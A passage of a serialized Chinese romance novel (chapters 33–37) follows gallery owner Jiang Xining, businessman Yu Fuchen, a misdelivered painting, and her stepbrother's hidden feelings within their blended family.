肖易轻声道:“谢谢老板。”
于付忱阖眼休息,肖易也不敢再说话。
在他以为老板已经睡着时,突然又听见他淡淡的说了一句。
于付忱说:“别人去青城也会不习惯。”
近十一点,车在酒店门口停下。
来了宁城之后,于付忱并没有住在碧湖湾,而是在七星级的酒店定了一个套房。
肖易先行下车打开车门,一边高举着伞将于付忱送到酒店门口,一边说:“于总,画廊那边的画送过来了。”
于付忱步子大,走的快,嗓音里裹着春雨的冷气:“嗯。”
肖易有点看不懂。
老板对画廊主理人有意思,但这一个月,两人却完全没了联系,像是陌生人一样。这期间,画廊交付画作的事,他从头到尾没过问一句。
这一批画足足十七幅,放在哪里是个难题。碧湖湾肯定是不行的,公司也放不下那么多,拿几幅画装饰起来确实有画龙点睛的效果。可要是多了,画龙点睛变画龙点痘了。
于是肖易让画廊将
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范老的作品单独送去青城,剩下的则挑了几幅放在公司里装点光凸凸的墙面。那些画往墙上一放,班味十足的办公室,瞬间变得新鲜而灵动。
不过还是多。
肖易快步的跟着,尽力将伞举高,避免雨水淋到于付忱身上。
“于总,我挑了一副放在您的房间。”
画廊主理人的品味,实在是好。那画往单调的地方一放,总是别有味道。肖易千挑万选给老板留了一副他认为最好看的。
于付忱点头,没说什么。
肖易看着于付忱上楼。
他今日工作结束了,假期从现在开始了。
于付忱回到房间,酒店给他特意多加了一台除湿机,屋子里干燥衬的身上的潮意更明显。
他解开领带、取下手表、脱掉外套、接着从上至下解开衬衣的纽扣。冷白的肌肤和结实的腹肌随着动作暴露在空气中。
程序化的一套动作是一直以来的规律克制的习惯使然,就在他打算去洗澡事,目光落在了墙上那一副油画上。
四百平总统套虽然豪华,但避免不了浓浓的样板间风格,这幅画的风格放在这并不搭。
于付忱打开主灯,屋内顿时亮如白昼。
他走到画前,注视着画中的少女。十三个如精灵般灵动的少女,姿态、动作、年龄各不相同,但都与某人有着极其相似的神韵。
走在最前面的少女,一双如月亮般明亮的眼睛,眉尾上扬,似笑非笑直视画外。
仿佛在无声地、带着戒备的审视着他。
于付忱重新套上衣服,冷却的布料贴合皮肤,莫名引起一阵战栗。
他重新开机准备打肖易的电话,画展上所有的画他都看过,没有这一副。
微信里(……)未读。
目光下移,通讯录中多了一个好友申请:
于付忱点开。
【我是群聊里的发财】
【你拒绝我,就是拒绝发财。】
33. 第 33 章
于付忱通过消息的那一刻,江熙宁的手机轻轻震动了一下,虽然声音极其轻微,但她还是瞬间醒了。
她觉轻,即使是睡的很熟也容易醒,更别说她才刚睡着。
江熙宁抓过手机,仰面躺在床上,缓缓地睁开了眼睛。
人脸自动解锁。
屏幕光有点扎眼,她眯起一只眼。
睡着之前,微信页面没退,打开时第一时间看到了联系人里的新好友。
【你已添加了于付忱,现在可以开始聊天了】
江熙宁眨了眨眼,确认是于付忱加她了。
就在她改了微信名之后不到十分钟。
果然啊,男人不好色,必然爱财!
江熙宁哼笑了声,趁热打铁发了个表情过去:
思考.gif
消息刚发出去,聊天框顶端立刻显示“对方正在输入中……”
于付忱:在想什么,还不睡。
你不是也没睡么。
江熙宁噼里啪啦的打字,说到正事儿,她可就不困了:想着发财计划,你有没有兴趣听?
她手没停,继续打着字,:你买了那么多画,平白让你损失那么多钱,想必也不是你的本意。如果你愿意和信任我,交给我来运作怎么样?我和一位资深拍卖师聊过,她对这一次展的作品非常看好,我可以通过二级市场提升作品价值,确保你从中获得更高的——
字洋洋洒洒的打了一半,江熙宁突然停下来,手指悬停在屏幕上。
于付忱没回复,她心中反倒犹疑起他的心思来。
是在等她继续说,还是没兴趣?
十一点二十七。江熙宁瞥了眼时间,她忽然记起江印说过,于付忱晚上不喜欢熬夜,生活也很规律。晚上十一点半准时上床睡觉。
聊合作,提的时机很重要,现在摆明不是个合适的时机。说不定,于付忱又累又困的什么都不想听,心情一不爽,直接给她拒绝了。
思虑片刻,江熙宁把长串的回复剪切进备忘录里,回:算了,明天再说。
于付忱这下倒是又回的快:你要睡了?
江熙宁:你不困?
于付忱:被人盯着
于付忱:睡不着
江熙宁揉了揉脑袋,没看懂这是什么意思。两句话连个标点都没,重点是想说被人盯着,还是睡不着?
花了好几秒,她突然反应过来这人是什么意思。
江熙宁顿时有种巴掌扇不进屏幕的无力感,加个好友让他有了被她缠上的感觉了?
这人未免也太太太能自抬身价了!
见江熙宁输入半天又停下。
于付忱发来一张照片。
照片拍的相当随意,镜头对准的是卧室的陈设。
江熙宁看着跳出来的小图,心里腹诽道:大晚上的,聊天就聊天,发个卧室照是什么意思……
等等!
不对!
她点开图,放大,眼睛紧盯着墙上挂的装饰画。
然后一个鲤鱼打挺从床上坐起来。
这不是母亲送她的那副生日画吗?
怎么去跑去于付忱那了?
记得教酒酒打包的时候,那幅画还在画廊的仓库里。
一定是出库时,拿错了。
江熙宁还注意到照片的正
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下方是床沿,于付忱大概是懒得放大,举着手机拍的。但是不妨碍她从这个角度分析出:挂画的位置刚好对着于付忱的床。
也就是说,画里的她,竟然被迫盯着于付忱睡觉!
脑袋里天崩地裂的声音。
江熙宁想都没想,直接语音电话过去。
电话0帧接通。
“喂。”
那边传来低磁的声音,听的江熙宁头皮更麻了。
江熙宁开门见山的说明了画廊出库出现了错误,这幅画并不在协议交付的作品里。
“稍等,我可以发你画作清单。”
说完,江熙宁起床去电脑里,翻找电子协议。
“江熙宁。”于付忱喊住了她。
“啊?”
“今天很晚了。”于付忱提醒道。
他的声音在寂静的夜里带着一丝清沉,听起来沉稳而冷静。
仿佛在说:该休息了,天不会塌,明天再谈也不迟。
江熙宁这时意识到自己有点过于着急了。
又不是谁都是梁耀那王八蛋。
电话里的于付忱似乎也察觉到她的情绪,说:“明天我给你送回去。”
江熙宁:“谢谢。”
于付忱:“早点睡。”
正准备挂电话时,江熙宁的手指悬停在红色挂断键上,迟疑了两秒。
江熙宁:“那个……”
于付忱:“还有事?”
江熙宁磨蹭两秒。
好羞耻啊。
她的小手指绕着被单的一角打转,咬了咬唇道:“你……睡觉穿衣服的吧?
于付忱:……
34. 第 34 章
外面的雨停了,整个世界都在这片刻的寂静中停滞,只有于付忱的呼吸声贴在她耳边,格外清晰。
江熙宁问完这句话,自己也忍不住觉得有些离谱。
职业病犯了。
作为艺术从业者,她对每一幅画,尤其是肖像画抱有一种特别的信念,那就是画中的人物绝不仅仅是静止的图像,或者颜料的堆砌的线条、色块。又或者是人物照葫芦画瓢绘在上面的线条。
她以为,画中的人物在某种意义上,是“活”着的。无论是画家赋予人物的灵魂,还是人物本身的存在。
这说起来有些矫情和抽象,就像让非教徒的人相信这个世界上真的有上帝的存在一样,旁人听起来可能会觉得这人脑子多少有点大病。
同理,对于于付忱而言,这墙上的只是一副画、一张有图案的纸,仅此而已。他在自己家,穿不穿,穿什么都是人自己的事,她这么一问,倒是显得她管太宽。
江熙宁扯了扯略僵的嘴角:
“宁城这几天潮冷,不穿容易感冒。”
-
酒酒得知自己工作出了纰漏,脸顿时红了起来,连声道歉:“宁宁姐,都怪我粗心,是我没仔细检查好,把梁老师的画作误混了进去。”
事情已经发生,江熙宁也没追究。人无完人,圣人都不能保证自己不犯错,何况酒酒还是刚入行的新人。
江熙宁提醒她出库的时候,除了清单,数量也要再核对一遍,这事儿就算过了。
于付忱约定了下午的时间来画廊,临到见面的时间,发消息来说临时有事,结束后联系。
这一等从下午等到了傍晚。
雨中的池塘泛起一圈圈涟漪,水面在灰蒙的天空下显得格外宁静,复刻莫奈的花园别有一番风味。
一窗之隔的画室,整洁干净,打扫的一尘不染,看的出来主人对画室十分珍爱。
但这画室肯定很久没用过了。
因为太干净、太整洁。
画笔、颜料整齐的收纳在一旁,空气中没有颜料的味道,画架上那幅未完成的画稿,色彩也有些褪色。
“我爱人是个画家。”
于付忱收回视线,看向坐在他对面鬓边微白、脸上温和带笑的姜海澎。姜海澎是建筑界公认的权威,声誉卓著,为人低调,眉宇间自有一股岁月沉淀的威严。
“有幸见过梁老师的作品。”
姜海澎以为于付忱说的是画室的那副:“可惜了,只是幅半成品。”
于付忱神色不变,在黑白子纵横的棋盘里落下黑子,“梁老师这幅作品,特意将建筑的线条模糊或扭曲,表现了无法获得完美的一种状态,似乎有意在表达缺陷和遗憾。”
“你对画挺有研究。”姜海澎落下白子,微微一笑,眼尾的沟壑深了几分。
于付忱手指执黑子:“一些个人爱好。”
一旁拘谨了半天的于天文看了看姜海澎,又看了看他哥。心中暗暗佩服,知道他哥全能,但是这全的有点过于可怕了。
两人下着围棋从国内外经济形势、时政热点、企业管理天南地北的聊,聊到艺术他哥也能扯的头头是道。
整个下午,于天文都没插上过一句话。百分之九十的内容他都听不懂。剩下能听懂的百分之十是因为两人说的是中文。
纵横交错的围棋也看的他昏昏欲睡,他只会国际象棋,还是在国外的时候和半吊子同学那学的皮毛。
姜海澎又落下一子,白子步步逼围黑子,占据了大半的棋盘是彼此试探,互相博弈的两股力量。
“听说,你买了宁宁画廊所有的画?”
于付忱扫了于天文一眼,正好和于天文迷茫、郁闷又心虚的眼神对上。
于天文接收到这目光,头立马垂的低低的。
那晚被于付忱训完没脑子,于天文逐字逐句的分析了他哥哥的话,最后得出一个结论:他太急于把真心展露出来让对方看,反而让江熙宁觉得他不真诚。
欲速则不达。操之过急让江熙宁讨厌他了,那才得不偿失。
想明白这一点后,于天文决定改变策略,准备和同住一个小区的姜明初拉近关系,所谓围魏救赵,他先和江熙宁家里人搞好关系,得到了哥哥的喜爱和助攻,这样才更有机会接近江熙宁。
只是于天文没想到,没见到姜明初,倒是先碰见了姜海澎。然后事情就发展成了,姜海澎邀请他来家里坐坐。
姜海澎问起于天文画廊的事,显然是要兴师问罪,于天文瞬间有些乱了,害怕在江熙宁爸爸面前留下不好的印象,他几乎是下意识的、习惯性的把这锅推到了他哥身上。
小时候,无论做了多少倒反天罡的事情,总是有他哥在前面替他顶着锅。
十岁,他砸开的爷爷那串比他年纪都大的核桃。
十二岁那年,偷喝的第一口酒。
十六岁偷抽的第一根烟。
二十二岁,买一整画廊的画。
……
于天文感觉头顶要被某道锐利的目光烧出一个窟窿。
姜海澎目光仍然落在棋盘上,似是随口问起:“我记得,华盈并没有艺术领域的业务。”
于天文再傻也能听的出来,前面下棋闲聊都是铺垫,现在才是正题。
他眼神紧张的看向他哥。
于付忱则淡淡的落下一子,“确实不是因为商业价值上的考量。”
清脆的棋子落盘声,被白子围困黑子脱身而出。
姜海澎笑了笑,眼前这个年轻后辈坦诚买画有目的,但并没有解答任何。
“好棋。”
于付忱淡淡:“承让。”
姜海澎又换了个问法,“智颐科技,最近在青城风头很盛啊。我年
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纪大了,不懂你们年轻人搞得这些科技技术,不过人工智能在养老领域的应用,我这个老人倒也是十分有兴趣。”
姜海澎深深的看了于付忱一眼,“华盈以后的重心是在人工智能上?”
“是。”于付忱说,“人工智能是未来。”
姜海澎点头:“宁城在科技领域,这两年政府投入确实不小。”
于付忱说:“宁城无论是政策支持,企业生态,还是人才资源上无可比拟,若要做人工智能,宁城是唯一选择。”
于天文:???
他哥这意思以后都在宁城了?
姜海澎哈哈一笑,没再继续说话。
胶着的棋局已经紧接尾声,黑子后来者居上,看似前期困了不少棋子,实则牢牢的把控着局面。
姜明初是在棋局结束时进的家门。
推门而入的瞬间,清晰的听见里面交谈甚欢的笑声。
于付忱:“天色已经晚了。抱歉,冒昧打扰您这么久。”
姜海澎摆了摆手:“是我着老头棋逢对手,拉着你下棋。下次有空,再来家里下两局。”
姜明初看向家中的客人,神色一顿,于天文他是认识的,边上的那位,前几天还在热搜上挂着。
这一期的财经周刊,头版人物,于天文的亲哥哥。
“回来了。”姜海澎转头同于付忱介绍:“这是宁宁的哥哥。”
不是“我的儿子”,而是江熙宁的哥哥。
于付忱抬头看向姜明初。
藏蓝色条纹衬衫领,外面配了一件浅米色的亨利衫,清瘦的高个子,白净的皮肤,温和的眉宇和姜海澎的七八分相似。
他身后暗沉的天色,印的他脸色也泛着一丝灰。
两人礼节性握手。
随即松开。
于天文看到姜明初,热情地打招呼:“明初哥,好久不见!”
姜明初扯了扯唇,笑容礼貌但并不热情,随记轻轻转向姜海澎:“爸,我找您有点事。”
等于付忱和于天文离开后,姜明初跟着姜海澎进了书房。
门关上。
“爸,宁宁不喜欢你这么做。”
姜海澎问:“是宁宁不喜欢,还是你不喜欢?”
姜明初下颚绷紧。
他知道姜海澎为什么要找于天文上门。这两年,但凡是接近江熙宁的,只要各方面条件能达到姜海澎标准,他的父亲都会一一考察。
姜明初看向他父亲,“我不明白。为什么你连于天文这样的公子哥都可以考虑。”
他深吸了一口气,那句压抑了多年的话卡在口腔里,呼之欲出。
为什么不能考虑我?是我不够努力,不够优秀,不够达到您的标准吗?
姜海澎视线冷冽的定在姜明初脸上,沉默片刻后说:
“我考虑的不是他。”
35. 第 35 章
姜明初几乎一瞬便想到了姜海澎口中说的人是谁,“宁宁不会去青城,您又何必?”
当初江熙宁在青大有一个那么喜欢的男朋友,但为了帮母亲设展,还是毅然决绝的分手回到宁城。
如今怎么可能回去?
况且她目睹母亲失败的爱情和婚姻,也绝不会为了一个男人,又回到青城去。
“你怎么知道人家不会留在宁城?”姜海澎坐在黄花梨书桌后,事实上刚才在棋局上,他已经试探过于付忱。
而答案是肯定的。
“爸,宁宁不喜欢你给她安排这些。她向来习惯自己做主。”
“你又怎么知道她喜欢不喜欢。”姜海澎看向姜明初,作为父亲,他知道姜明初是一个表面温和,骨子里却执拗的人。“宁宁喜欢谁我不知道,但是我可以确定的是,宁宁把你当亲哥哥。”
她把你当亲哥哥。
姜明初白净的手掌倏然握成拳,骨节处因用力泛着青色。
姜海澎是什么时候开始察觉的呢?
从姜明初这么多年,从来没有过带回家的女朋友?
从每次不知情的旁人误会他的一双儿女像一对璧人时,姜明初脸上小心隐藏的笑意?
还是更早,姜海澎打算和梁媛领证,品学兼优的姜明初却偷偷逃学回家,藏起户口本的时候?
隐藏多年的秘密被看穿,姜明初反而像负重前行的人,终于可以卸下背上的包袱,松一口气。
那就光明正大的争取。
“爸,你知道我喜——”
话刚开口,姜海澎打断他:“宁宁之所以还会回这个家,是因为她还认你这个哥哥,认我这个爸爸。有些话说出口简单,想收回很难。若是结果不如你意,你想过宁宁日后回这个家,会尴尬吗?”
姜海澎在提醒他,江熙宁和这个家没有血缘关系,如果他开口了,她又用什么理由回姜家。
姜明初身形顿了顿,嘴怎么都张不开了,已经在牙齿关的话就被父亲的这句话,生生的挡了回去。心底藏了多年的秘密重千斤,砸落回心底的时候给他重重的的一击。
-
从姜家出来,于天文有些丧气,整个人看起来像是泄了气的皮球。这一下午,他的挫败感特别强烈。
一方面,是因为在江熙宁的爸爸面前,他根本没得到任何表现的机会。
另一方面,姜明初刚才那眼神,多少让他有点受伤。
原本于天文打算着和江熙宁的哥哥搞好关系,处成兄弟,可现在看来似乎是他一厢情愿,一头热的贴人冷屁股。
人在丧气的时候,能量消耗的都快了些,于天文的肚子里空唠唠的。他看向走在前面,径直走向车库的哥哥,问:“哥,晚上出去吃吗?”
于付忱:“嗯。”
一听去吃饭,于天文心中的郁闷散去大半。在他哥的经济制裁下,肚子里的馋虫已经很久没有过过瘾了。广业街开了一家新的黑珍珠,一直没来的及去拔草。
“哥,”于天文小跑两步追上去,“我知道新开的一家餐厅,环境好,做的创意菜也不错……”
于付忱打开车门上车:“地址发我。”
于天文搜出地址发过去,就在他打开车门准备也上车时,门把手没拉动。
他这边的车门是锁着的。
“哥???”
于天文看向已经先一步坐进车里的于付忱。
不带我?
于付忱慢条斯理的回完手机消息,启动车子,淡淡道:“如果我是你,我都没脸吃饭。”
于天文:“……”
今天什么日子啊?这一个个当哥哥的,尽喜欢往人心上扎刀子。
-
江熙宁不讨厌下雨天,但一直下雨也让人头疼。油画怕潮,下一期展的画已经陆续进库了,作品防护的工作量也增加了不少。
等她忙完,天色已经黑了。
江熙宁掏出手机,下午一直在仓库忙,没来得及给手机充电,这会儿只剩5%的电量。
期间,于付忱依旧没有回消息,大概是被什么重要的事情耽搁了。
这会儿外面已经天黑了,猜他今天应该也没空过来了,江熙宁给他发了条消息:【你很忙的话,我们明天再约时间吧。】
又发了个奥特曼托腮的乖巧表情包。
有求于人,体贴懂事。
消息发完手机刚揣进兜里,电话铃声突然响起。
江熙宁眼睛亮了亮,脸上浮现出一个小括号,回得这么快?
她兴冲冲地摸出手机。
备注:明初哥。
江熙宁眸光暗了暗,脸上的小括号隐去。
她接起电话。
姜明初温柔的声音响起:“宁宁,忙完了吗?我在你楼下。”
江熙宁走到窗边,看向楼下的地面停车位,姜明初的车停在他经常停的位置。
车前灯开着,雨水在灯光下泛起细碎的光斑。
“明初哥,你等我下。”
她边接着电话边迅速回到办公室,去拿上洗干净的食盒。本来想着空的时候回碧湖湾带过去,但最近一直没抽出时间。正好让姜明初顺道带回去。
大概是在电话里听到她走路的踹气声,姜明初让她慢慢走:“不着急,我等你。”
江熙宁应了两声,挂了电话。她看了眼剩下的电量,打完电话又少了百分之一。不过撑到回家应该不成问题。
但事实上,手机最后的这点电量是虚电,非常不经用。加上她一路上忍不住查看手机,导致上车没多久,手机就彻底没电关机了。
江熙宁满脑子都在琢磨,怎么才能从于付忱那里打听到关于于茂林的事情。
这几年母亲的画一直没露出,说明于茂林更倾向于低调收藏,而且有纠纷的作品,更是不会轻易对外透露消息。
她和于付忱只不过是校友,于茂林和于付忱是亲戚,孰亲孰远,一目了然。
贸贸然的找于付忱帮忙,人凭什么帮她呢。
要想让于付忱答应他,必须得让他觉得有利可图。
知道他心里想要的是什么,从现在的粗浅的接触,仅有的判断来看,爱钱是没错的。
还有武怡那边,江熙宁即然答应了她合作范老的作品,也不能食言。
眼下最好的办法是——
“在等人消息?”
姜明初见她一直盯着关机的手机出神出声问。
江熙宁把思绪收回来:“哦,等一个合作客户的。”
姜明初问:“男的?”
江熙宁歪了歪脑袋:“
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明初哥,你怎么最近也和爸爸似的。”
姜爸一直是个十足开明的家长,不管是在什么事情上,都尊重她们兄妹自己的意见,给足空间。
唯独一件事上,是例外。
那就是两人的感情事。
事关人生大事,天下父母心。
江熙宁叹气:“你有女朋友,所以爸爸不会管你,你就和爸爸集中火力对付我了是不是。”
姜明初自嘲似的笑了笑,“没有女朋友。”
江熙宁这才注意到,姜明初今天情绪似乎不太对。平时他一向温文尔雅,遇到任何事从容淡定,总是一笑了之,给人的感觉总是晴天万里,万物明朗。
可是此刻,江熙宁发现他失魂落魄的。
不会是失恋了吧!
江熙宁小心翼翼问:“和女朋友吵架啦?”
姜明初偏过脸看她。
——“她如果拒绝你,你做好了宁宁日后回这个家,会更尴尬的准备了吗?有些话一旦说出口,就难收回了。”
就在这时,右车道的一辆suv突然插到了车前,横扫时,带起一片积水。
路口红灯,前车骤停。
两车的距离骤然拉近。
再不停下,就要撞上。
江熙宁的心猛地提到嗓子口:“明初哥,小心!”
姜明初回过神,猛地踩下刹车。
又扫起一片水花。
万幸在市区,车速不快,他们的车和前车距离几公分的位置停下。
只是巨大的惯性,让后座的食盒掉落在地上。
姜明初下意识地伸手护住江熙宁,见她紧紧抓着安全带,脸色煞白。
“对不起宁宁。”他担心道:“没事吧?”
江熙宁见他自责,压下刚才的害怕,说道:“不原谅你。”
姜明初一愣。
“除非你接下去好好开车。”江熙宁双手抱在胸前,眉眼带着笑意,“一个急刹都不可以有。”
姜明初笑了笑,看似无理的要求,其实是江熙宁在宽慰他。她惯会撒娇来逗人开心,只要她愿意,总能让人不知不觉中心情变好,当然也能瞬间变差。
姜明初问起:“宁宁,如果我做什么事让你受伤了,你会原谅我吗?”
“你会让我受伤?”
“万一呢?”
姜明初还能做什么事让她受伤?
他这性子待外人都一向温和,从来不会疾言厉色,伤人半分,更别说对她了。就像刚才即使是别人违反交通规则插队,他毫不犹豫的护着她。
“明初哥,我会原谅你无数次。”
姜明初终是笑了笑,“你在哄我开心。”
“你是我哥嘛。。”
“不是,就不哄了?”
江熙宁想都没想说道:“那当然!”
到了家,江熙宁立刻拿着手机跑回卧室里找充电线。
充上电,开机。
两秒后,界面恢复。
于付忱回了消息:【结束了,去找你。】
这会儿他不会去画廊了吧……
那岂不是错开了。
江熙宁问:【你去画廊了吗?我已经回家了,你在哪?】
她不知道的是,此时的于付忱,已经站在她家门口。
36. 第 36 章
于付忱的确是先是去了画廊,不过那时江熙宁已经和姜明初离开了。
在来芳满庭的路上,他和江印通了电话。智颐正在研发的家庭守护智能机器人,第一代设计已经落地,并且在人机交互上有非常出色的表现,但测试下来仍然离于付忱的标准有差距,特别是语音识别的算法。
“老人普遍使用方言多,城市里的老年人居住环境噪音也不小,这对系统的识别精度要求就更高。如果想要达到实际应用标准,还是需要进一步优化。”
江印人虽然在国外,但所有的技术和算法都是他带着团队手拿把抓。很快,江印便提出了新的优化方向,“我争取回国之前搞定。”
“好。”于付忱说:“辛苦。”
“即然知道兄弟我辛苦——”
江印听到这话笑吟吟道:“有个事儿打个商量。”
虽说是商量,但细听下来语气里其实并没有多少求人的意思。
于付忱:“你说。”
江印:“让我预支点儿薪水。”
于付忱没问他要做什么,直接问:“要多少?”
江印:“这个暂时不确定,我看完房子再告诉你。”
于付忱微抬了下眉:“你要买房?”
江印:“再有两个星期我就回国了,你收留我啊?”
说完他又否定道:“不行不行,你自己都住酒店呢。”
外面的雨扑簌簌的落,天色又沉了些。亮着灯的房子,像是跌入黑暗中的星星,温暖的闪烁着。
灯光在夜里总是透出家的味道来。于付忱住的是七星级酒店,舒适干净,之前他从未想过这个问题,直到江印嫌弃的说:“一点没有家的感觉。”
于付忱的目光不自觉落在离他最近的这一栋联排别墅。这一栋楼一半暗着,一半灯火通明。亮着灯的那户,楼上的窗子里透着一个纤细的人影。
他推开车门,走了下去。
“怎么,江熙宁不收留你。”
“我妹那房子是姜明初他爸送的,约等于姜明初送的。只要是和姜明沾上关系的哪怕一点儿我都才不住。”
江印只要想到上次回国找姜明初开门,心里就堵得慌。这感觉就和住在姜明初家没什么区别。姜明初拿着备用钥匙,不就是觉得房子是他的么。
于付忱听江印提过江熙宁和姜家的关系,重组家庭,但是最后没重组成功。其中缘由,与他今日见到的姜家独子有关。也因为这江印对姜明初很有意见,每次提到他,言语之中全是不满。
于付忱只是沉默的听着,但也会在恰当的地方,恰当的提问。由此得到事件的全貌。
江熙宁十岁那年,梁媛带着她搬进了姜家,十二岁那年姜海澎和梁媛见两个孩子相处的十分融洽,以为两人已经彼此接纳,于是想要正式组建家庭。
作为开明的父母,自然也将决定告诉了年幼的江熙宁和姜明初。但没想到的是,姜明初却强烈反对。那时,他十四岁,梁媛和姜海澎只以为是孩子还小,无法理解大人之间的恩怨,出于对自己母亲的维护才会这样,于是就打算晚两年再说。
这一等就等了四年,姜明初成年那日,姜海澎重提结婚一事。这一次姜明初倒是没说什么,但是领证那日,姜海澎的户口本却不不见踪影,怎么都找不到。
梁媛和姜明初在一起多年,尽管并不在乎所谓名份,但是外界的议论一直未停过。圈内总有人非议她是小三画家,甚至连她家里人也这么认为。于是在江熙宁十六岁那年,梁媛带着江熙宁搬到了芳满庭住。
江印提到姜明初便没好气,说话也阴阳怪气起来:“不光是房子,他还觉得我妹妹也是他的呢。做的事不漂亮,想的倒是很美。”
不愿意成为法律血缘上的兄妹。如果是因为年幼,可能理解为捍卫自己的母亲,即使是一方离婚了,总是不愿意父亲成立另一个新的家庭,这一点不是不能理解。
可偏偏姜明初对江熙宁照顾有佳,在这一点上,连江印承认他有时候都不如姜明初做的细心。
走到楼前的于付忱,视线跟着脚步微顿,之前他停过的车库,此时停着一辆玛莎拉蒂。
江印见说了这么多于付忱没表态,故作卖惨:“你要说不行,那我可只能——”
“住你酒店”四个字还没说出口,便听见于付忱淡淡道:“好。”
屋内的人似乎是听到外面的动静,传来轻微的脚步声,朝着门口走来。于付忱伸手去按下门铃的那一刻,门突然向内打开。
客厅的暖光从门内透出来,打在他锃亮的牛津皮鞋前两公分,形成一道明暗交割线。来开门的人不是江
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熙宁,而是姜明初。他的袖口挽在臂肘处,手背上挂着未擦干的水,身前系着黑色的大号围裙。
很合身,是男款的尺寸。
姜明初显然没想到于付忱会出现在这,开门的动作一顿。同时他也注意到来的只有于付忱一人,于天文并没有一起来。
——我考虑的不是他。
姜明初清俊的眸子里爬上几分不可察觉的悲凉和痛苦。
“是我爸让你来的?”他漠然开口。
于付忱抬了抬眼,不久才见过的人,没想到换了个地方又遇见了。
更有意思的是,对方的态度有着非常微妙的变化。
在姜家见到姜明初时,他虽然平静淡漠,但也算得上礼貌客气,维持着表面的礼节。这会儿也礼貌客气,却有着几分冷漠和抵触。
似乎是并不希望他出现在这里。
于付忱反问:“你爸想让我来做什么?”
见于付忱迂回话题,姜明初没有顺着他的话答,只问:“是我爸给你的地址?”
“哦?”于付忱眉梢微挑,弄明白了某些缘由。其实也不难猜,姜海澎借着画廊的事邀请他和于天文上门,但一下午都没有在追究这件事,反倒更多的是在试探。
恐怕跟多的是在考察江熙宁身边的异性。
于付忱轻描淡写地说:“为什么不会是江熙宁给的?”
姜明初的心听到这话不经沉了下。
他想起江熙宁在车上,一直看手机。到了家,也是第一时间拿着手机去充电。他从来没有看她对另一个人如此期盼过。
难道等的人是他?
眼前的人举止和语言沉静矜贵,但是无论是从他的眼神还是语言中都透露着一种城府深的压迫感。
他是一个善于隐藏自己的人,若是他想要什么,绝不会像于天文那样直接、急功近利的纠缠,定是更为深远的算计和深思熟虑。
姜明初深知这样的人更危险。
“于天文知道你来吗?你不会不知道你弟弟在追宁宁吧?”
意识到姜明初并不是在简单地提问,而是在刻意提醒什么,于付忱定定的看了姜明初一眼,眼神中带着不明意味。
“作为哥哥——”
他语气一顿。
“——我向来不管那么宽。”
37. 第 37 章
“阿嚏——阿嚏——阿嚏——”
于天文在家,连打三个喷嚏。
-
江熙宁正等着消息,隐约听见楼下传来交谈声。她猜是姜明初叫的食材配送到了。刚到家那会儿,姜明初便说买菜在家吃火锅。
江熙宁喜欢火锅,但外面的吃完总是闹肚子,姜明初便和许姨学了清水火锅的做法,红枣、枸杞、香叶、香菇、八角、葱、姜等放在冷水中煮开,然后配上蘸料就可以。
楼下大门开着,江熙宁从卧室出来,看见姜明初站在门口。
门外光线暗,她没能看清楚对方的模样。
不知道是不是出于第六感,江熙宁有种直觉,那人不是外卖小哥。
这么想着,她已经下楼走了过去。
然后就看见站在门外的于付忱。
他晚上开车有戴眼镜的习惯,清淡的灯光下,金属的镜框反射点点光亮,镜片后的双眼,分明的看她。
于付忱来,情理之中,却意料之外,下午那会儿她把编辑好的话,发过去。他并没有表示出很大的兴趣。
但是现在看来,也不是一点都没有。
江熙宁眼眸亮了亮,“你怎么会来?”
“你说的,我挺有兴趣。不过——”于付忱话一顿,目光礼貌又平静的往姜明初的身上扫了一眼,“你晚上有约了,那等以后再说。”
江熙宁看懂了,于付忱显然是误会了什么。
误会姜明初是她男朋友这种事情,江熙宁早习以为常了。和江印一起出去,别人一看长相便知两人就是兄妹,但和姜明初则不然。姜海澎经常带江熙宁去出席一些活动,只要姜明初在,那些个叔叔阿姨们总会认为她是姜家的儿媳妇。
姜海澎澄清后,还打趣两人般配。
江熙宁也索性拉着姜明初给自己挡烂桃花,这种场合,明着是商务局,其实私底下各路这个总那个老板的,都在为自己的子女寻找合适的联姻对象。
姜明初在她边上,那些个青年才俊以为她名花有主就不敢上纠缠。
只是后来,姜海澎看出姜明初和她在打配合,直接不让姜明初去了。
那之后,又遇上个金融男对她展开死缠烂打,天天来画廊刷存在感不说,还不知道从哪里打听到,姜明初是江熙宁的哥哥。
江熙宁被缠怕了就怼他:“那怎么了,又没有血缘关系。”
当然这事儿,她有和姜明初解释。因为怕他背后听到了,伤心。
姜明初听到的一瞬,整整静默了两分钟,随后才露出一个极致温柔的笑容,说:“没关系。”
于此江熙宁更愧疚了。
她分明看见姜明初那时,握着茶杯的手微颤,良好的素养没让他把杯子砸了,然后骂她一句白眼狼。
那时候江熙宁便很少再用这烂招挡桃花,一旦谎言被拆开,她会伤到最亲近的人。
而且,这会儿于付忱不合时宜的误会姜明初和她的关系,会坏了她的大计!
于是江熙宁连忙解释:“忘了介绍,这是我哥,姜明初。”
于付忱抬了抬眉,似乎是对此表示讶异。
觉得奇怪也正常,江熙宁心想,这人还只知道江印是她亲哥。
姜明初看着急于澄清的江熙宁,喉间一哽。
追求江熙宁的人向来很多,所以她经常拿他做挡箭牌。可是如今,她却大方的解释,只是哥哥。
只是哥哥。
天空又开始飘雨。凉意渗进他的肌肤,钻进他的心里,
这一日,他的心里也像这场不会停的雨。
江熙宁不知道姜明初所想,只是一门心思想早点和于付忱把事情确认下来。
于付忱这人就像是匍匐于森林里的狮子,嗅到了她放的饵,显然已经蠢蠢欲动。
然而,想要攀附住他这只大兽的人必然不止他一个,万一这期间出现了有更肥的饵,他没时间来搭理她这块小肉了可怎么办?
说什么等以后再说,夜长梦多,就别以后再说了。
她看今日就是良辰美景好时机啊!
不过,抛下姜明初去外面吃也不合适。
江熙宁眸光一闪,便以感谢他为由,邀请于付忱在家吃饭。
“不了。”于付忱明明白白的拒绝,“晚餐有安排了。”
江熙宁心一沉。
眼下的情况就好投资人百忙之中抽出时间去见被投资者,然后非常明确的说:我只给你五分钟时间。
于付忱只是来还画,顺便听一嘴,但显然她即将失去这“愿意听一嘴”的机会。
“时间也不早了
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,即然于总没有时间。”姜明初插入两人的话题,侧向江熙宁侧温声道:“宁宁,改天再约于总?”
于付忱不动声色的朝姜明初看了一眼,微微颔首。
看这意思是赞成姜明初的建议,江熙宁在心底默默叹气,她确实也没有想到什么好的办法。
只好另做打算了。
“嗯,抱歉。”于付忱似乎注意到了她变化的情绪,主动表明自己确实有事:“今日约了范梦华老先生。”
好吧,约了范老这样的人物,确实不能——
江熙宁:???
等等——
江熙宁反应过来于付忱约的是范梦华时,眼睛立刻亮成500瓦小灯泡。
这不是送上门的机会?
